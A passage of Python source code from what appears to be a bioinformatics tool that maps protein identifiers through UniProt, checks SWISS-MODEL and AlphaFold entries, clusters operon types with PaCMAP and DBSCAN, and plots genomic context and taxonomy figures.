bool(j[\"results\"] or j[\"failedIds\"])\n\t\t\t\texcept:\n\t\t\t\t\treturn True\n\n\n\tdef get_batch(batch_response, file_format, compressed):\n\t\tbatch_url = get_next_link(batch_response.headers)\n\t\twhile batch_url:\n\t\t\tbatch_response = session.get(batch_url)\n\t\t\tbatch_response.raise_for_status()\n\t\t\tyield decode_results(batch_response, file_format, compressed)\n\t\t\tbatch_url = get_next_link(batch_response.headers)\n\n\n\tdef combine_batches(all_results, batch_results, file_format):\n\t\tif file_format == \"json\":\n\t\t\tfor key in (\"results\", \"failedIds\"):\n\t\t\t\tif key in batch_results and batch_results[key]:\n\t\t\t\t\tall_results[key] += batch_results[key]\n\t\telif file_format == \"tsv\":\n\t\t\treturn all_results + batch_results[1:]\n\t\telse:\n\t\t\treturn all_results + batch_results\n\t\treturn all_results\n\n\n\tdef get_id_mapping_results_link(job_id):\n\t\turl = f\"{API_URL}/idmapping/details/{job_id}\"\n\t\trequest = session.get(url)\n\t\tcheck_response(request)\n\t\treturn request.json()[\"redirectURL\"]\n\n\n\tdef decode_results(response, file_format, compressed):\n\t\tif compressed:\n\t\t\tdecompressed = zlib.decompress(response.content, 16 + zlib.MAX_WBITS)\n\t\t\tif file_format == \"json\":\n\t\t\t\tj = json.loads(decompressed.decode(\"utf-8\"))\n\t\t\t\treturn j\n\t\t\telif file_format == \"tsv\":\n\t\t\t\treturn [line for line in decompressed.decode(\"utf-8\").split(\"\\n\") if line]\n\t\t\telif file_format == \"xlsx\":\n\t\t\t\treturn [decompressed]\n\t\t\telif file_format == \"xml\":\n\t\t\t\treturn [decompressed.decode(\"utf-8\")]\n\t\t\telse:\n\t\t\t\treturn decompressed.decode(\"utf-8\")\n\t\telif file_format == \"json\":\n\t\t\treturn response.json()\n\t\telif file_format == \"tsv\":\n\t\t\treturn [line for line in response.text.split(\"\\n\") if line]\n\t\telif file_format == \"xlsx\":\n\t\t\treturn [response.content]\n\t\telif file_format == \"xml\":\n\t\t\treturn [response.text]\n\t\treturn response.text\n\n\n\tdef get_xml_namespace(element):\n\t\tm = re.match(r\"\\{(.*)\\}\", element.tag)\n\t\treturn m.groups()[0] if m else \"\"\n\n\n\tdef merge_xml_results(xml_results):\n\t\tmerged_root = ElementTree.fromstring(xml_results[0])\n\t\tfor result in xml_results[1:]:\n\t\t\troot = ElementTree.fromstring(result)\n\t\t\tfor child in root.findall(\"{http://uniprot.org/uniprot}entry\"):\n\t\t\t\tmerged_root.insert(-1, child)\n\t\tElementTree.register_namespace(\"\", get_xml_namespace(merged_root[0]))\n\t\treturn ElementTree.tostring(merged_root, encoding=\"utf-8\", xml_declaration=True)\n\n\n\tdef print_progress_batches(batch_index, size, total):\n\t\tn_fetched = min((batch_index + 1) * size, total)\n\t\tprint(f\"Fetched: {n_fetched} / {total}\")\n\n\n\tdef get_id_mapping_results_search(url):\n\t\tparsed = urlparse(url)\n\t\tquery = parse_qs(parsed.query)\n\t\tfile_format = query[\"format\"][0] if \"format\" in query else \"json\"\n\t\tif \"size\" in query:\n\t\t\tsize = int(query[\"size\"][0])\n\t\telse:\n\t\t\tsize = 500\n\t\t\tquery[\"size\"] = size\n\t\tcompressed = (\n\t\t\tquery[\"compressed\"][0].lower() == \"true\" if \"compressed\" in query else False\n\t\t)\n\t\tparsed = parsed._replace(query=urlencode(query, doseq=True))\n\t\turl = parsed.geturl()\n\t\trequest = session.get(url)\n\t\tcheck_response(request)\n\t\tresults = decode_results(request, file_format, compressed)\n\t\ttotal = int(request.headers[\"x-total-results\"])\n\t\tprint_progress_batches(0, size, total)\n\t\tfor i, batch in enumerate(get_batch(request, file_format, compressed), 1):\n\t\t\tresults = combine_batches(results, batch, file_format)\n\t\t\tprint_progress_batches(i, size, total)\n\t\tif file_format == \"xml\":\n\t\t\treturn merge_xml_results(results)\n\t\treturn results\n\n\n\tdef get_id_mapping_results_stream(url):\n\t\tif \"/stream/\" not in url:\n\t\t\turl = url.replace(\"/results/\", \"/results/stream/\")\n\t\trequest = session.get(url)\n\t\tcheck_response(request)\n\t\tparsed = urlparse(url)\n\t\tquery = parse_qs(parsed.query)\n\t\tfile_format = query[\"format\"][0] if \"format\" in query else \"json\"\n\t\tcompressed = (\n\t\t\tquery[\"compressed\"][0].lower() == \"true\" if \"compressed\" in query else False\n\t\t)\n\t\treturn decode_results(request, file_format, compressed)\n\n\n\tjob_id = submit_id_mapping(\n\t\tfrom_db=from_database, to_db=to_database, ids=codes\n\t)\n\tif check_id_mapping_results_ready(job_id):\n\t\tlink = get_id_mapping_results_link(job_id)\n\t\tresults = get_id_mapping_results_search(link)[\"results\"]\n\n\treturn results\n\n\ndef map_codes_to_uniprot(codes, uniprot_codes = {}, from_database = 'RefSeq_Protein'):\n\t\n\tif uniprot_codes == {}:\n\t\tuniprot_codes = {code: 'nan' for code in codes}\n\t\t\n\tresults = get_mappings_through_uniprot(codes, from_database = from_database, to_database = 'UniProtKB')\n\t\n\tif results is not None:\n\t\tfor result in results:\n\t\t\tin_code = result['from']\n\t\t\tuniprot_code = result['to']['primaryAccession']\n\t\t\tuniprot_codes[in_code] = uniprot_code \n\n\tunmapped_codes = [code for code in uniprot_codes if uniprot_codes[code] == 'nan']\n\tif len(unmapped_codes) > 0 and from_database == 'RefSeq_Protein':\n\t\tuniprot_codes = map_codes_to_uniprot(unmapped_codes, uniprot_codes = uniprot_codes, from_database = 'EMBL-GenBank-DDBJ_CDS') \n\n\tupi_codes = [uniprot_codes[code] for code in uniprot_codes if 'UPI' in uniprot_codes[code]]\n\tif len(upi_codes) > 0:\n\t\tupi_codes = map_codes_to_uniprot(upi_codes, from_database = 'UniParc')\n\t\tfor code in uniprot_codes:\n\t\t\tif uniprot_codes[code] in upi_codes:\n\t\t\t\tuniprot_codes[code] = upi_codes[uniprot_codes[code]]\n\n\treturn uniprot_codes\n\ndef find_uniprot_in_swiss_model_repository(uniprot_code):\n\n\tlink = 'nan'\n\n\tif uniprot_code != 'nan':\n\n\t\tlink = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\tjson_link = json_link = '{}.json'.format(link)\n\n\t\ttry:\n\t\t\tswissmodel_req = requests.get(json_link)\n\t\t\tif swissmodel_req.ok:\n\t\t\t\tswiss_repository_data = swissmodel_req.text\n\t\t\t\tswiss_repository_data = json.loads(swiss_repository_data)\n\n\t\t\t\tif len(swiss_repository_data['result']) == 0 or len(swiss_repository_data['result']['uniprot_entries']) == 0:\n\t\t\t\t\tlink = 'nan*'\n\t\t\t\telif len(swiss_repository_data['result']['structures']) == 0:\n\t\t\t\t\tlink = 'nan'\n\t\t\telse:\n\t\t\t\tlink = 'nan*'\n\t\texcept:\n\t\t\tlink = 'nan*'\n\n\treturn link\n\ndef find_uniprot_in_alphafold_database(uniprot_code):\n\n\tlink = 'nan'\n\n\tif uniprot_code != 'nan':\n\n\t\tlink = 'https://alphafold.ebi.ac.uk/entry/{}'.format(uniprot_code)\n\t\tprotein_link = 'https://alphafold.ebi.ac.uk/files/AF-{}-F1-model_v3.pdb'.format(uniprot_code)\n\t\ttry:\n\t\t\tafdb_req = requests.get(protein_link)\n\t\t\tif not afdb_req.ok:\n\t\t\t\tlink = 'nan*'\n\t\t\telse:\n\t\t\t\tlink = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\texcept:\n\t\t\tlink = 'nan*'\n\n\treturn link\n\ndef get_uniprot_annotations(uniprot_code, previous_annotations = ''):\n\n\tuniprot_annotations = 'nan'\n\n\tif uniprot_code != 'nan':\n\t\tuniprot_accession = uniprot_code.split('_')[0]\n\t\tuniprot_link = 'https://www.ebi.ac.uk/proteins/api/proteins/{}'.format(uniprot_accession)\n\n\t\ttry:\n\t\t\tuniprot_req = requests.get(uniprot_link, headers={ \"Accept\" : \"application/json\"})\n\n\t\t\tif uniprot_req.ok:\n\t\t\t\tuniprot_data = uniprot_req.text\n\t\t\t\tuniprot_data = json.loads(uniprot_data)\n\t\t\t\tuniprot_annotations = parse_uniprot_data(uniprot_data, previous_annotations = previous_annotations)\n\t\texcept:\n\t\t\tuniprot_annotations = 'nan'\n\t\n\treturn uniprot_annotations\n\ndef parse_uniprot_data(uniprot_data, previous_annotations = ''):\n\n\tif previous_annotations == '':\n\t\tuniprot_annotations = {'TM_topology': '', 'GO_terms': [], 'Keywords': [], 'Function_description': ''}\n\telse:\n\t\tuniprot_annotations = previous_annotations\n\n\tif 'features' in uniprot_data:\n\t\tfor feature in uniprot_data['features']:\n\t\t\tif feature['type'] == 'TRANSMEM' and uniprot_annotations['TM_topology'] == '':\n\t\t\t\ttm_topology = feature['description']\n\n\t\t\t\tif 'Helical' in tm_topology:\n\t\t\t\t\ttm_topology = 'alpha-helical'\n\t\t\t\telif 'Beta' in tm_topology:\n\t\t\t\t\ttm_topology = 'beta-stranded'\n\t\t\t\telse:\n\t\t\t\t\ttm_topology = 'transmembrane'\n\n\t\t\t\tuniprot_annotations['TM_topology'] = tm_topology\n\n\tif 'dbReferences' in uniprot_data:\n\t\tfor dbReference in uniprot_data['dbReferences']:\n\t\t\tif dbReference['type'] == 'GO':\n\t\t\t\tgo_term = dbReference['properties']['term']\n\t\t\t\tif go_term not in uniprot_annotations['GO_terms']:\n\t\t\t\t\tuniprot_annotations['GO_terms'].append(go_term)\n\n\tif 'keywords' in uniprot_data:\n\t\tfor keyword in uniprot_data['keywords']:\n\t\t\tkeyword_term = keyword['value']\n\t\t\tif keyword_term not in uniprot_annotations['Keywords'] and keyword_term != 'Reference proteome':\n\t\t\t\tuniprot_annotations['Keywords'].append(keyword_term)\n\n\tif 'comments' in uniprot_data:\n\t\tfor comment in uniprot_data['comments']:\n\t\t\tif comment['type'] == 'FUNCTION' and uniprot_annotations['Function_description'] == '':\n\t\t\t\tuniprot_annotations['Function_description'] = comment['text'][0]['value']\n\n\treturn uniprot_annotations\n\n# 5. Routines to find operon types\n\ndef compute_operons_distance_matrix(in_syntenies, label = None):\n\n\tdistance_matrix = [[0 for target in in_syntenies] for target in in_syntenies]\n\tsorted_ncbi_codes = sorted(list(in_syntenies.keys()))\n\n\tfor i, operon_i in enumerate(sorted_ncbi_codes):\n\t\tfor j, operon_j in enumerate(sorted_ncbi_codes):\n\t\t\tif i < j:\n\t\t\t\tvector_i = in_syntenies[operon_i]['flanking_genes']['families']\n\t\t\t\treference_family_i = in_syntenies[operon_i]['target_family']\n\t\t\t\t\n\t\t\t\tvector_j = in_syntenies[operon_j]['flanking_genes']['families']\n\t\t\t\treference_family_j = in_syntenies[operon_j]['target_family']\n\n\t\t\t\tif len(vector_i) >= len(vector_j):\n\t\t\t\t\treference_vector = vector_i\n\t\t\t\t\tcurr_vector = vector_j\n\t\t\t\t\tindex_reference_family_reference_vector = list(reference_vector).index(reference_family_i)\n\t\t\t\t\tindex_reference_family_curr_vector = list(curr_vector).index(reference_family_j)\n\t\t\t\telse:\n\t\t\t\t\treference_vector = vector_j\n\t\t\t\t\tcurr_vector = vector_i\n\t\t\t\t\tindex_reference_family_reference_vector = list(reference_vector).index(reference_family_j)\n\t\t\t\t\tindex_reference_family_curr_vector = list(curr_vector).index(reference_family_i)\n\n\t\t\t\tnumber_fillings = 0\n\t\t\t\tif len(curr_vector) < len(reference_vector):\n\t\t\t\t\tif index_reference_family_curr_vector < index_reference_family_reference_vector:\n\t\t\t\t\t\tfor a in range(index_reference_family_reference_vector - index_reference_family_curr_vector):\n\t\t\t\t\t\t\tcurr_vector = np.insert(curr_vector, 0, -1)\n\t\t\t\t\t\t\tnumber_fillings += 1\n\t\t\t\t\t\n\t\t\t\t\tif len(curr_vector) < len(reference_vector):\n\t\t\t\t\t\tfor b in range(len(reference_vector) - len(curr_vector)):\n\t\t\t\t\t\t\tcurr_vector = np.append(curr_vector, -1)\n\t\t\t\t\t\t\tnumber_fillings += 1\n\n\n\t\t\t\tfamilies_present = set(np.concatenate([reference_vector,curr_vector]))\n\t\t\t\toverlapping_families = set(reference_vector).intersection(set(curr_vector))\n\t\t\t\tdist = 1-len(overlapping_families)/len(families_present)\n\n\t\t\t\tdistance_matrix[i][j] = dist\n\t\t\t\tdistance_matrix[j][i] = dist\n\t\n\treturn np.array(distance_matrix), sorted_ncbi_codes\n\t\ndef get_operon_types_summary(in_syntenies, label = None, write_to_file = True):\n\n\toperon_types = {}\n\tadvanced = False\n\tif 'operon_PaCMAP' in in_syntenies[list(in_syntenies.keys())[0]]:\n\t\tadvanced = True\n\n\tfor target in in_syntenies:\n\t\tcurr_operon_type = in_syntenies[target]['operon_type']\n\t\tif curr_operon_type not in operon_types:\n\t\t\toperon_types[curr_operon_type] = {'target_members': [], 'operon_protein_families_structure': []}\n\t\t\tif advanced:\n\t\t\t\toperon_types[curr_operon_type]['operon_PaCMAP'] = []\n\t\t\t\toperon_types[curr_operon_type]['operon_filtered_PaCMAP'] = []\n\n\n\t\toperon_types[curr_operon_type]['target_members'].append(target)\n\t\toperon_types[curr_operon_type]['operon_protein_families_structure'].append(in_syntenies[target]['flanking_genes']['families'])\n\t\tif advanced:\n\t\t\toperon_types[curr_operon_type]['operon_PaCMAP'].append(in_syntenies[target]['operon_PaCMAP'])\n\t\t\toperon_types[curr_operon_type]['operon_filtered_PaCMAP'].append(in_syntenies[target]['operon_filtered_PaCMAP'])\n\n\tif advanced:\n\t\tfor curr_operon_type in operon_types:\n\t\t\tcentroid_coords = np.mean(operon_types[curr_operon_type]['operon_filtered_PaCMAP'], axis=0)\n\t\t\toperon_types[curr_operon_type]['operon_centroid_PaCMAP'] = list(centroid_coords)\n\n\tprint(' ... Found {} operon types (out of a total of {} input targets)'.format(len(operon_types), len(in_syntenies)))\n\n\tif write_to_file:\n\t\tout_file = '{}_operon_types_summary.txt'.format(label)\n\t\twith open(out_file, 'w') as outf:\n\t\t\tfor operon in sorted(list(operon_types.keys())):\n\t\t\t\toutf.write('\\n ### Operon: {}\\n\\n'.format(operon))\n\t\t\t\tfor i, member in enumerate(operon_types[operon]['target_members']):\n\t\t\t\t\toutf.write('\t {}\\t{}\\n'.format(member, operon_types[operon]['operon_protein_families_structure'][i]))\n\t\t\t\t\t\t\n\treturn operon_types\n\ndef find_most_populated_operon_types(operon_types_summary, nmax = None):\n\n\toperons_count_matrix = []\n\n\tfor operon in operon_types_summary:\n\t\toperons_count_matrix.append([operon, len(operon_types_summary[operon]['target_members'])])\n\n\toperons_count_matrix = pd.DataFrame(operons_count_matrix)\n\toperons_count_matrix = operons_count_matrix.sort_values(by = [1, 0], ascending = [False, True])\t\n\toperons_count_matrix = np.array(operons_count_matrix)\n\t\n\tif len(operons_count_matrix) > nmax:\n\t\toperons_count_matrix = operons_count_matrix[:nmax+1]\n\n\tselected_operons = {}\n\tmost_populated_operon = ''\n\tfor i, line in enumerate(operons_count_matrix):\n\t\tlabel = 'GC Type {:05d}'.format(line[0])\n\t\tif i == 0:\n\t\t\tmost_populated_operon = label\n\t\t\n\t\tselected_operons[label] = operon_types_summary[line[0]]\n\n\tprint(' ... Selected {} operon/genomic_context types, with most populated corresponding to {}'.format(len(selected_operons), most_populated_operon))\n\n\treturn selected_operons, most_populated_operon\n\n\ndef get_family_presence_matrix(in_syntenies, protein_families_summary, clean = True, min_freq = 2, max_freq = 20):\n\n\tsorted_ncbi_codes = sorted(list(in_syntenies.keys()))\n\tsorted_families = [i for i in sorted(list(protein_families_summary.keys())) if (i>=0 and i<10000)]\n\n\t# select only the protein families that are not very frequenct but also not very rare\n\tif clean and len(sorted_families) > 10:\n\t\tfamilies_frequency = [len(protein_families_summary[family]['members']) for family in sorted_families]\n\t\tfamilies_frequency = [i*100/len(in_syntenies) for i in families_frequency]\n\t\tsorted_families\t= [family for i, family in enumerate(sorted_families) if families_frequency[i] <= max_freq and families_frequency[i] >= min_freq]\n\n\tpresence_matrix = [[0 for i in sorted_families] for i in sorted_ncbi_codes]\n\tfor i, target_i in enumerate(sorted_ncbi_codes):\n\t\toperon_i = in_syntenies[target_i]['flanking_genes']['families']\n\t\tfor family in operon_i:\n\t\t\tif family in sorted_families:\n\t\t\t\tpresence_matrix[i][sorted_families.index(family)] += 1\n\n\treturn np.array(presence_matrix), sorted_ncbi_codes, sorted_families\n\ndef calculate_start_eps(coordinates):\n\n\tdistances = []\n\tfor i, vector_i in enumerate(coordinates):\n\t\tfor j, vector_j in enumerate(coordinates):\n\t\t\tif j>i:\n\t\t\t\tdist = np.linalg.norm(np.array(vector_i) - np.array(vector_j))\n\t\t\t\tdistances.append(dist)\n\n\tdistances = np.array(distances)\n\tmixture = GaussianMixture(n_components=2).fit(distances.reshape(-1,1))\n\tmeans = mixture.means_.flatten()\n\tsds = np.sqrt(mixture.covariances_).flatten()\n\n\tmean = min(means)\n\tsd = sds[list(means).index(mean)]\n\n\teps = mean - sd\n\n\treturn round(eps, 2)\n\ndef find_operon_clusters_with_PaCMAP(in_syntenies, protein_families_summary, clean = True, coordinates_only = False, min_freq = 2, max_freq = 20, iteration = 0, max_eps_cost = 1.3, eps_step = 0.02):\n\n\tpresence_matrix, sorted_ncbi_codes, selected_families = get_family_presence_matrix(in_syntenies, protein_families_summary, clean = clean, min_freq = min_freq, max_freq = max_freq)\n\n\tpaCMAP_embedding = pacmap.PaCMAP(n_components = 2)\n\tpaCMAP_coordinat = paCMAP_embedding.fit_transform(presence_matrix)\n\n\tif coordinates_only:\n\t\treturn paCMAP_coordinat, sorted_ncbi_codes\n\n\telse:\n\t\t# embed into n-D paCMAP space\n\t\tn_dims = len(selected_families)\n\t\tif n_dims < 2:\n\t\t\tn_dims = 2\n\n\t\tpaCMAP_embedding = pacmap.PaCMAP(n_components = n_dims)\n\t\tpaCMAP_N_coordinat = paCMAP_embedding.fit_transform(presence_matrix)\n\n\t\t# find clusters in the paCMAP space\n\t\t# do this by selecting the best eps based on the number of clusters it creates compared to the number of operons \n\t\t# that are not assigned a clusters (i.e., a given maximum cost)\n\t\t\n\t\tprint(' ... Fine tuning EPS')\n\n\t\teps = calculate_start_eps(paCMAP_N_coordinat)\n\n\t\tn_clusters = [0]\n\t\tn_singletons = [0]\n\t\tcost = 0\n\t\twhile cost <= max_eps_cost and eps > 0:\n\t\t\teps = eps - eps_step\n\n\t\t\tmodel = DBSCAN(eps = eps)\n\t\t\tmodel.fit(paCMAP_coordinat)\n\t\t\tclusters = model.fit_predict(paCMAP_coordinat)\n\n\t\t\tn = len(set(clusters))\n\t\t\tdelta_n_clusters = n - n_clusters[-1]\n\t\t\tdelta_singletons = list(clusters).count(-1) - n_singletons[-1]\n\t\t\tif delta_n_clusters > 0:\n\t\t\t\tcost = delta_singletons/delta_n_clusters\n\t\t\telse:\n\t\t\t\tcost = 0\n\n\t\tprint(' ... ... EPS: {}'.format(eps))\n\t\tprint(' ... ... Cost: {}'.format(cost))\n\t\tprint(' ... ... N:\t{}'.format(n))\n\n\n\t\treturn paCMAP_coordinat, clusters, sorted_ncbi_codes\n\n# 6. Routines to make the genomic_context/operon block figures\n\ndef define_family_colors(families, reference_family, mode = 'matplotlib', cmap = 'rainbow', print_summary = False):\n\n\tcolors = {}\n\n\tcmap = matplotlib.cm.get_cmap(cmap)\n\tnorm = matplotlib.colors.Normalize(vmin=0, vmax=len(families))\n\n\tcolours = [cmap(norm(i)) for i in range(len(families))]\n\t#random.shuffle(colours)\n\n\tif print_summary:\n\t\tprint(\" ... Setting the colors of the families identified\")\n\t\tprint(\" ... ... Colormap: {}\".format(cmap))\n\t\tprint('\\nLabel\\tColor (RGBA)')\n\n\tfor i, label in enumerate(sorted(families)):\n\t\tif label not in colors:\n\t\t\tcolors[label] = {}\n\n\t\tif label == reference_family:\t\t\t # the reference gene\n\t\t\tcolors[label]['Color (RGBA)'] = 'grey'\n\t\t\tcolors[label]['Color (tuplet)'] = 'grey'\n\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\tcolors[label]['Line style'] = '-'\n\t\telif label == 0:\t\t\t\t\t\t\t# a gene without any other homolog in the figure\n\t\t\tcolors[label]['Color (RGBA)'] = 'lightgrey'\n\t\t\tcolors[label]['Color (tuplet)'] = 'lightgrey'\n\t\t\tcolors[label]['Line color'] = 'lightgrey'\n\t\t\tcolors[label]['Line style'] = '-'\n\t\telif type(label) == int and label == 10000: # a pseudogene\n\t\t\tcolors[label]['Color (RGBA)'] = 'white'\n\t\t\tcolors[label]['Color (tuplet)'] = 'white'\n\t\t\tcolors[label]['Line color'] = 'grey'\n\t\t\tcolors[label]['Line style'] = ':'\n\t\telse:\t\t\t\t\t\t\t\t\t # real genes that occur many times in the figure\n\t\t\tif mode == 'matplotlib':\n\t\t\t\tcolors[label]['Color (RGBA)'] = [int(255*j) for j in colours[i]]\n\t\t\t\tcolors[label]['Color (tuplet)'] = colours[i]\n\t\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\t\tcolors[label]['Line style'] = '-'\n\t\t\telif mode == 'bokeh':\n\t\t\t\tcolors[label]['Color (RGBA)'] = RGB(int(255*list(colours[i])[0]), int(255*list(colours[i])[1]), int(255*list(colours[i])[2]))\n\t\t\t\tcolors[label]['Color (tuplet)'] = colours[i]\n\t\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\t\tcolors[label]['Line style'] = '-'\n\n\t\tif print_summary:\n\t\t\tprint('{}\\t{}'.format(label, colors[label]['Color (RGBA)']))\n\n\treturn colors\n\n\ndef draw_genomic_context(operons, all_syntenies, family_colors, reference_family, label = None, out_format = None):\n\n\tcurr_y_level = len(operons.keys())\n\tall_xs = []\n\tall_populations = []\n\tyticklabels = []\n\n\tplt.clf()\n\tif len(operons) == 1:\n\t\tfig, ax = plt.subplots(1, 2, figsize=(20, 2), gridspec_kw={'width_ratios': [4, 1]})\n\telif len(operons) < 5:\n\t\tfig, ax = plt.subplots(1, 2, figsize=(20, len(operons)), gridspec_kw={'width_ratios': [4, 1]})\n\telse:\n\t\tfig, ax = plt.subplots(1, 2, figsize=(20, int(len(operons)/1.5)), gridspec_kw={'width_ratios': [4, 1]})\n\n\tfor operon in sorted(list(operons.keys())):\n\t\tcurrent_target = operons[operon]['target_members'][0]\n\t\tcurrent_genomic_context_block = all_syntenies[current_target]['flanking_genes']\n\t\tcurrent_species = all_syntenies[current_target]['species']\n\t\tcurrent_reference_family = all_syntenies[current_target]['target_family']\n\t\toperon_population = len(operons[operon]['target_members'])*100/len(all_syntenies)\n\n\t\tfor i, flanking_gene in enumerate(current_genomic_context_block['ncbi_codes']):\n\t\t\tfamily = current_genomic_context_block['families'][i]\n\t\t\tgene_dx = current_genomic_context_block['relative_ends'][i] - current_genomic_context_block['relative_starts'][i]+1\n\t\t\tgene_direction = current_genomic_context_block['directions'][i]\n\n\t\t\tif gene_direction == '-':\n\t\t\t\tgene_x_tail = current_genomic_context_block['relative_ends'][i]\n\t\t\t\tgene_dx = gene_dx*(-1)\n\t\t\telse:\n\t\t\t\tgene_x_tail = current_genomic_context_block['relative_starts'][i]\n\n\t\t\t# make genomic_context side\t\t\t\n\t\t\tif family == 0:\n\t\t\t\tzorder = family\n\t\t\t\tfacecolor = family_colors[family]['Color (tuplet)']\n\t\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\t\tlinestyle = family_colors[family]['Line style']\n\t\t\telse:\n\t\t\t\tzorder = len(current_genomic_context_block['ncbi_codes']) - i + 1\n\t\t\t\tfacecolor = family_colors[family]['Color (tuplet)']\n\t\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\t\tlinestyle = family_colors[family]['Line style']\n\n\t\t\tax[0].arrow(gene_x_tail, curr_y_level, gene_dx, 0, width=0.5, head_width=0.5, length_includes_head = True, head_length = 100, zorder = zorder, facecolor = facecolor, edgecolor = edgecolor, linestyle = linestyle)\n\t\t\t\t\n\t\t\ttext_x = gene_x_tail + (gene_dx/2)\n\t\t\tif family != 0 and family != reference_family and family < 10000:\n\t\t\t\tax[0].text(text_x, curr_y_level+0.3, str(family), horizontalalignment='center')\n\n\t\t\t# make histogram side\n\t\t\tax[1].arrow(0, curr_y_level, operon_population, 0, width=0.5, head_width=0.5, length_includes_head = True, head_length = 0, facecolor = 'black', edgecolor = 'black')\n\t\t\tax[1].text(operon_population+2.5, curr_y_level, '{}'.format(round(operon_population, 1)), verticalalignment = 'center')\n\t\n\t\t\tall_xs.append(current_genomic_context_block['relative_ends'][i])\n\t\t\tall_xs.append(current_genomic_context_block['relative_starts'][i])\n\t\t\n\t\tall_populations.append(operon_population)\n\t\tcurr_y_level -= 1\n\t\tyticklabels.append('{}: {} ({})'.format(operon, current_target, current_species))\n\t\t\n\tyticklabels.append('')\n\tyticklabels.reverse()\n\n\t# format genomic_context side\n\tax[0].set_xlim(min(all_xs)-100, max(all_xs)+100)\n\tax[0].set_ylim(0, len(operons.keys())+1)\n\n\tax[0].set_yticks(np.arange(0, len(yticklabels)+1, 1.0))\n\tax[0].set_yticklabels(yticklabels, fontsize = 10, horizontalalignment='left')\n\tax[0].spines['right'].set_visible(False)\n\tax[0].spines['left'].set_visible(False)\n\tyax = ax[0].get_yaxis()\n\tpad = max(len(label) for label in yticklabels)*6\n\tyax.set_tick_params(pad=pad)\n\t\n\tax[0].tick_params(axis='x', which='both', bottom=False, top=False, labelbottom=False)\n\n\t# format histogram side\n\tax[1].set_xlim(0, max(all_populations)+5)\n\tax[1].set_ylim(0, len(operons.keys())+1)\n\tax[1].spines['right'].set_visible(False)\n\tax[1].tick_params(axis='y', which='both', left = False, right = False, labelleft=False, labelright=False)\n\tax[1].set_xlabel('Operon frequency (%)')\n\tax[1].set_title('{}% total operons represented'.format(round(sum(all_populations), 1)))\n\n\ttry:\n\t\tplt.tight_layout()\n\texcept:\n\t\tpass\n\tplt.savefig('{}_genomic_context.{}'.format(label, out_format), format = out_format)\n\tplt.close('all')\n\ndef draw_genomic_context_legend(families_summary, family_colors, reference_family, label = None, out_format = None):\n\n\tcurr_y_level = len(family_colors.keys())\n\tx_tail = 0\n\tdx = 5\n\n\tplt.clf()\n\tfig, ax = plt.subplots(figsize=(10, int(len(family_colors)/1.5)))\n\tfor family in sorted(list(family_colors.keys())):\n\t\tplt.arrow(x_tail, curr_y_level, dx, 0, width=0.5, head_width=0.5, length_includes_head = True, head_length = 0.5, facecolor = family_colors[family]['Color (tuplet)'], edgecolor = family_colors[family]['Line color'], linestyle = family_colors[family]['Line style'])\n\t\tif family == 0:\n\t\t\tplt.text(dx + 2, curr_y_level, 'Non-conserved gene')\n\t\telif family == reference_family:\n\t\t\tplt.text(dx + 2, curr_y_level, 'Target protein: {}'.format(families_summary[family]['name']) )\n\t\telif family == 10000:\n\t\t\tplt.text(dx + 2, curr_y_level, 'Pseudogene')\n\t\telif family in families_summary:\n\t\t\tplt.text(2.25, curr_y_level+0.3, str(family), horizontalalignment='center')\n\t\t\tplt.text(dx + 2, curr_y_level, families_summary[family]['name'])\n\n\t\tcurr_y_level -= 1\n\n\tax.spines['right'].set_visible(False)\n\tax.spines['left'].set_visible(False)\n\tplt.yticks(fontsize = 10)\n\tplt.tick_params(axis='y', which='both', left = False, right = False, labelleft=False, labelright=False)\n\tplt.tick_params(axis='x', which='both', bottom=False, top=False, labelbottom=False)\n\t\n\tplt.xlim(0, 50)\n\tplt.ylim(0, len(family_colors.keys())+1)\n\t\n\tplt.savefig('{}_genomic_context_legend.{}'.format(label, out_format), format = out_format)\n\tplt.close('all')\n\n# 7. Routines to make taxonomy distribution figures\n\ndef merge_taxonomy_dictionaries(taxonomy, dic):\n\n\tfor superkingdom in dic.keys():\n\t\tif superkingdom not in taxonomy.keys():\n\t\t\ttaxonomy[superkingdom] = dic[superkingdom]\n\t\telse:\n\t\t\tfor phylum in dic[superkingdom].keys():\n\t\t\t\tif phylum not in taxonomy[superkingdom].keys():\n\t\t\t\t\ttaxonomy[superkingdom][phylum] = dic[superkingdom][phylum]\n\t\t\t\telse:\n\t\t\t\t\tfor taxclass in dic[superkingdom][phylum].keys():\n\t\t\t\t\t\tif taxclass not in taxonomy[superkingdom][phylum].keys():\n\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass] = dic[superkingdom][phylum][taxclass]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfor order in dic[superkingdom][phylum][taxclass].keys():\n\t\t\t\t\t\t\t\tif order not in taxonomy[superkingdom][phylum][taxclass].keys():\n\t\t\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order] = dic[superkingdom][phylum][taxclass][order]\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tfor genus in dic[superkingdom][phylum][taxclass][order].keys():\n\t\t\t\t\t\t\t\t\t\tif genus not in taxonomy[superkingdom][phylum][taxclass][order].keys():\n\t\t\t\t\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus] = dic[superkingdom][phylum][taxclass][order][genus]\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tfor species in dic[superkingdom][phylum][taxclass][order][genus].keys():\n\t\t\t\t\t\t\t\t\t\t\t\tif species not in taxonomy[superkingdom][phylum][taxclass][order][genus].keys():\n\t\t\t\t\t\t\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species] = dic[superkingdom][phylum][taxclass][order][genus][species]\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor key in taxonomy[superkingdom][phylum][taxclass][order][genus][species].keys():\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species][key] += dic[superkingdom][phylum][taxclass][order][genus][species][key]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttaxonomy[superkingdom][phylum][taxclass][order][genus][species][key] = 